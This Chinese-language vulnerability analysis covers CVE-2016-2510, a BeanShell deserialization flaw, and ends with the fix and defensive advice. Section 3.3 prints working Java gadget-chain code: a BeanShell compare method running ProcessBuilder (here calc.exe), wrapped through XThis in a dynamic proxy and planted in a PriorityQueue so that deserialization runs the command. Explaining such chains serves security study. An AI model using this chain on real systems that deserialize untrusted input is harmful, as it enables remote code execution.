Beanshell 反序列化分析(CVE-2016-2510)
字数 1559 2025-08-22 12:23:41
BeanShell 反序列化漏洞分析(CVE-2016-2510)
1. 漏洞概述
BeanShell 是一个轻量级的Java脚本解释器,能够执行标准的Java语法并扩展脚本语言特性。CVE-2016-2510是BeanShell中的一个反序列化漏洞,允许攻击者通过精心构造的序列化数据执行任意代码。
2. 受影响版本
- org.beanshell:bsh 2.0b5及以下版本
3. 漏洞原理
3.1 BeanShell基本功能
BeanShell可以通过Interpreter类执行Java代码:
Interpreter interpreter = new Interpreter();
interpreter.eval("int a = 3; int b = 4; int sum = a + b; System.out.println(sum);");
3.2 漏洞利用链
漏洞利用结合了Java动态代理和PriorityQueue的反序列化特性:
- 构造恶意的BeanShell脚本作为Comparator实现
- 通过动态代理将XThis的InvocationHandler封装为Comparator
- 将Comparator设置到PriorityQueue中
- 序列化/反序列化PriorityQueue时触发代码执行
3.3 关键利用代码分析
3.3.1 Payload构造
String payload = "compare(Object foo, Object bar) {" +
"new java.lang.ProcessBuilder(new String[]{\"calc.exe\"}).start();" +
"return new Integer(1);" +
"}";
Interpreter i = new Interpreter();
i.eval(payload);
这段代码定义了一个compare方法,当被调用时会执行命令并返回1。
3.3.2 动态代理部分
XThis xt = new XThis(i.getNameSpace(), i);
InvocationHandler handler = (InvocationHandler)Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
Comparator comparator = (Comparator)Proxy.newProxyInstance(
Comparator.class.getClassLoader(),
new Class[]{Comparator.class},
handler);
这部分通过动态代理将XThis的invocationHandler封装为Comparator接口的实现。
3.3.3 PriorityQueue构造
PriorityQueue<Object> priorityQueue = new PriorityQueue(2, comparator);
Object[] queue = new Object[]{1, 1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
设置PriorityQueue的初始状态,确保反序列化时能触发比较操作。
3.4 触发流程
- 反序列化PriorityQueue时调用
readObject readObject调用heapify方法重建堆结构heapify调用siftDown方法siftDown调用siftDownUsingComparator方法siftDownUsingComparator调用我们注入的compare方法compare方法中的恶意代码被执行
4. 技术细节分析
4.1 XThis和动态代理
XThis实现了InvocationHandler接口,当通过代理对象调用方法时:
- 调用转发到InvocationHandler的invoke方法
- XThis的invoke方法最终调用invokeImpl
- 从而执行我们在BeanShell中定义的compare方法
4.2 PriorityQueue设置细节
设置queue和size字段的原因:
-
size必须≥2,否则heapify中的循环不会执行:for (int i = (size >>> 1) - 1; i >= 0; i--)当size=2时,i=0,可以进入循环
-
queue需要至少两个元素,否则在序列化时会抛出数组越界异常
4.3 compare方法返回值设计
compare方法返回1的原因:
if (comparator.compare(x, (E) c) <= 0)
break;
返回1确保比较结果>0,使堆调整逻辑能够继续执行
5. 漏洞修复
修复方式:移除了InvocationHandler的序列化支持,使得:
- comparator无法被序列化
- 导致包含恶意comparator的PriorityQueue也无法被序列化
6. 防护措施
- 升级BeanShell到最新版本
- 避免反序列化不可信数据
- 使用Java安全管理器限制敏感操作
- 使用白名单机制验证反序列化的类
7. 相关技术扩展
7.1 Java动态代理机制
动态代理是此漏洞利用的关键,它允许在运行时创建接口的代理实例,将所有方法调用转发到InvocationHandler。
7.2 PriorityQueue反序列化
PriorityQueue在反序列化时会重建堆结构,这一特性被用来触发比较操作。
7.3 Java反序列化漏洞模式
此漏洞是典型的"反序列化+动态代理"利用模式,类似的漏洞还有Apache Commons Collections等。